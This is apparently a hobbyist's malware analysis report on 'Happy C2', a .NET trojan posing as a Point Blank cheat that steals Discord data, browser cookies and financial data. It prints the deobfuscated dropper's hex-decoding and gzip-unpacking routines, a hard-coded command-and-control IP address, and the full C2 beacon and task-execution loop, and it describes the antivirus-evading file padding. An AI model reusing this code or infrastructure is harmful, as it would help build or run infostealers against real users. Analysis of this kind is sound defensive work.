Home Malware Analysis Report | Happy C2
Post
Cancel

Malware Analysis Report | Happy C2

Malware Analysis Report | Happy C2

Author: João Vitor (@Keowu) - Hobby Malware Security Researcher

Sample identification hash

The name “Happy” was chosen because at different times the executable dropped by the virus is called that, and the executable itself has the same name, the C2 prefix was added due to its ability to communicate with a remote command and control server.

ArchPE Header‘.text’ Section‘.rsrc’ Section‘.reloc’ SectionOverlay
PE32 - NET - IA3276a59b749d42c57a23669e9b609d042f3fb0cbe2e38f05449966e838585cb33c0e6b0bf6f901430c1b51bbe5498a8a52a2db15446b253d0c1d6f4a7e2ce7e461c05f800744f4ab7487769c888c7784df

Overview

The malware we analyzed is a Trojan horse, a type of malicious software disguised as a legitimate program. The Trojan is designed to gain access to the victim’s computer and steal confidential information from the social network Discord and Browser Cookies by posing as a Cheat for the game Point Blank, it also has the ability to steal financial data stored in browsers, the data is sent to a C2 server (command and control hosted in china by a service similar to No-Ip) an attempt was not made to contact the redirect provider called by the trade name of “Dataphoton Inc” duly registered in the united states of america. but using the Chinese jurisdiction of Hong Kong, the malware droper is shared through misleading websites and videos on youtube.

First stage analysis

  • The first stage of the virus is a droper, the user will download the file provided by the attacker and infect it through an initialization routine.
  • The file uses proprietary obfuscation, and stores the dropper compressed with gzip

Let’s see how this works in technical detail throughout this report.

#1

At first, the file is delivered using an ineffective technique to infect the target, binaries larger than a certain size are not analyzed by the antivirus, the malware author completed with a sequence of zeros from the final byte of the file. when the target downloads the file thanks to the compression of the algorithms, these bytes are ignored and stored for later extraction of the files on disk, for this reason its real size is about 7mb.

At the beginning of the analysis we are presented with a very similar dynamic loading technique used by simple packers based on C#, we see a gigantic array declared with code totally obfuscated with a non-standard obfuscator, and these bytes are compressed using gzip.

#2

As we go further through the obfuscated code of the malware droper, we are faced with the following logic being presented:

#3

This code snippet creates an obj object with four elements: a string, null, the result of a method call called Program.哦एシン德尺бょаचтהョеぎ(ewvvDihvQwEvLxyiMDrx2), and true. The code then loads an assembly with a name specified by the string name and gets the type specified by the string name2 in the assembly. Finally, the code invokes a member (possibly a method) with the name specified by name2 on the type obtained earlier with the obj object as an argument.

The decrypted strings are:

  • text: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  • obj: It is a valid PE file after decompression by “哦एシン德尺бょаचтהョеぎ” method based on the variable declared with them.
  • name: tutorial.gya
  • name2: a raw string “empty”.

Results of deobfuscation of droper’s string decryption and decompression routines:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//KeowoAnataGenericDesofuscador.exe: "コ艾贼та尺トזפए吾美चच" para "Metodo_0" ;)
string Metodo_0(string p1)
{
    if (p1 == null || (p1.Length & 1) == 1)
    {
      throw new ArgumentException();
    }
    StringBuilder stringBuilder = new StringBuilder();
    for (int i = 0; i < p1.Length; i += 2)
    {
       string value = p1.Substring(i, 2);
       stringBuilder.Append((char)Convert.ToByte(value, 16));
    }
    return stringBuilder.ToString();
}
  • The first line declares the method and specifies that it will return a string.
  • The next line contains an if statement that checks whether p1 is null or whether the length of p1 is odd. If either of these conditions is true, the method throws an ArgumentException.
  • The next line creates a new instance of StringBuilder (a class that provides an efficient way to build strings).
  • The next line starts a for loop that iterates over each character in p1 in two-by-two jumps.
  • Inside the loop, the next line creates a new string called value that is equal to the current two characters in p1.
  • On the next line, the method uses the Append method of the StringBuilder class to add a new character to the string being constructed. The character is converted from a string of two hexadecimal digits (represented by value) to a byte value and then converted back to a character.
  • Finally, the last line returns the complete string constructed by the StringBuilder as the result of the method.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//KeowoAnataGenericDesofuscador.exe: "哦एシン德尺бょаचтהョеぎ" para "Metodo_45" ;)
byte[] Metodo_45(byte[] p1)
{
	using (MemoryStream memoryStream = new MemoryStream(p1))
	{
		using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
		{
			int num = 0;
			int num2;
			do
			{
				Array.Resize<byte>(ref p1, num + 1024);
				num2 = gzipStream.Read(p1, num, 1024);
				num += num2;
			}
			while (num2 >= 1024);
			Array.Resize<byte>(ref p1, num);
			gzipStream.Close();
		}
		memoryStream.Close();
	}
	return p1;
}
  • Create a new MemoryStream from the input data, then create a new GZipStream from that MemoryStream, configuring it to operate in decompression mode.
  • The code then enters a loop that reads in 1024-byte blocks of uncompressed data and stores the read data in the input byte array. This is done until all the decompressed data has been read. Then the size of the byte array is resized to reflect the exact size of the uncompressed data, and the GZipStream and MemoryStream streams are closed.
  • Finally, the resulting array of bytes is returned.

Second stage analysis

The second stage is the file dropped by the main executable, it is able to connect to a remote server redirected through an IP address redirection server similar to the NO-IP used by Brazilian lammers.

you can see below the decrypted structure that connects to the malware’s C2 server:

1
2
3
4
5
6
7
8
	public EntryPoint()
	{
		NativeHelper.Hide();
		this.IP = "45.154.98.214:49840";
		this.ID = "cheat";
		this.Message = "";
		this.Key = "";
	}

This data is encrypted using an XOR algorithm with some of the author’s own implementations, when we identify the origin we send the following data:

Country: Hong Kong - Dataphoton Inc - powered.by.rdp.sh

performing a public consultation on the registration of companies located in the united states of america we arrived at the international registrant “VIRTUAL TELECOM LLC” this company has, according to its registration “AS48741”, about 256 IP addresses assigned to its domain, and its main site (“dataphoton.io”) to which it is assigned is not available for access, making it impossible to report and take a down from the server.

when we analyze the main input routine of the droper we find the following connection routine (it should be noted that unlike its main executable, the dropper does not use any obfuscation in the code):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public static void Execute(this EntryPoint entry)
{
	try
	{
		if (!string.IsNullOrWhiteSpace(entry.Message))
		{
			new Thread(delegate()
			{
				MessageBox.Show(StringDecrypt.Decrypt(entry.Message, entry.Key), "", MessageBoxButtons.OK, MessageBoxIcon.Hand);
			})
			{
				IsBackground = true
			}.Start();
		}
		using (EndpointConnection endpointConnection = new EndpointConnection())
		{
			bool flag = false;
			while (!flag)
			{
				foreach (string address in StringDecrypt.Decrypt(entry.IP, entry.Key).Split(new string[]
				{
					"|"
				}, StringSplitOptions.RemoveEmptyEntries))
				{
					if (endpointConnection.RequestConnection(address) && endpointConnection.TryGetConnection())
					{
						flag = true;
						break;
					}
				}
				Thread.Sleep(5000);
			}
			ScanningArgs settings = new ScanningArgs();
			while (!endpointConnection.TryGetArgs(out settings))
			{
				if (!endpointConnection.TryGetConnection())
				{
					throw new Exception();
				}
				Thread.Sleep(1000);
			}
			ScanResult scanResult = new ScanResult
			{
				ReleaseID = StringDecrypt.Decrypt(entry.ID, entry.Key)
			};
			while (!ResultFactory.sl9HSDF234(settings, ref scanResult))
			{
				Thread.Sleep(5000);
			}
			scanResult.SeenBefore = Program.SeenBefore();
			scanResult.ReplaceEmptyValues();
			while (!endpointConnection.TryVerify(scanResult))
			{
				if (!endpointConnection.TryGetConnection())
				{
					throw new Exception();
				}
				Thread.Sleep(1000);
			}
			ScanResult scanResult2 = scanResult;
			scanResult2.ScanDetails = new ScanDetails();
			IList<UpdateTask> tasks = new List<UpdateTask>();
			while (!endpointConnection.TryGetTasks(scanResult, out tasks))
			{
				if (!endpointConnection.TryGetConnection())
				{
					throw new Exception();
				}
				Thread.Sleep(1000);
			}
			foreach (int taskId in new TaskResolver(scanResult).ReleaseUpdates(tasks))
			{
				while (!endpointConnection.TryCompleteTask(scanResult, taskId))
				{
					if (!endpointConnection.TryGetConnection())
					{
						throw new Exception();
					}
					Thread.Sleep(1000);
				}
			}
		}
	}
	catch (Exception)
	{
		entry.Execute();
	}
}

The method is called by the “entry” object of the “EntryPoint” class and has the following steps:

  • Checks that the “Message” property of the “entry” object is not an empty string or composed only of white spaces. If so, skip to step 3. If not, show a message box with the decrypted string using the “Key” property of the “entry” object as the decryption key.
  • Starts a new thread to display the message box, setting the thread’s “IsBackground” property to “true”.
  • Creates a new instance of the “EndpointConnection” class and starts an infinite loop until the “flag” variable is changed to “true”.
  • Inside the loop, the code iterates over each IP address in the decrypted string using the “Key” property of the “entry” object as the decryption key. Each address is separated by the string “”.
  • If the “EndpointConnection” class manages to make a connection with the current IP address and get a valid connection, the “flag” variable is changed to “true” and the loop is stopped. Otherwise, the loop continues.
  • After exiting the loop, the code creates a new instance of the “ScanningArgs” class and tries to get the current connection’s scanning arguments from the “EndpointConnection” class. If not, the loop restarts.
  • Creates a new instance of the “ScanResult” class and sets the “ReleaseID” property to the decrypted string using the “Key” property of the “entry” object as the decryption key.
  • Runs an infinite loop until the “sl9HSDF234” method of the “ResultFactory” class returns “true” when called with the scan arguments and the “scanResult” object as parameters.
  • After exiting the loop, the code changes the “SeenBefore” property of the “scanResult” object to the value returned by the “SeenBefore” method of the “Program” class and calls the “ReplaceEmptyValues” method of the “scanResult” object.
  • Try to check the “scanResult” object with the “EndpointConnection” class. If not, the loop restarts.

After that, it downloads more contents and executes them always connecting to the command server to check the “news”, the Sample is in a .zip file in this repository.

For fellow malware analysts: https://www.virustotal.com/gui/file-analysis/YTQ4YmIxN2I4MWQ5NGE5MjZjMDJmMDQ1NTQyN2M2NTk6MTY3MTU3ODYyNA==

Thank you so much for reading my report, it means a lot to me :)

This post is licensed under CC BY 4.0 by the author.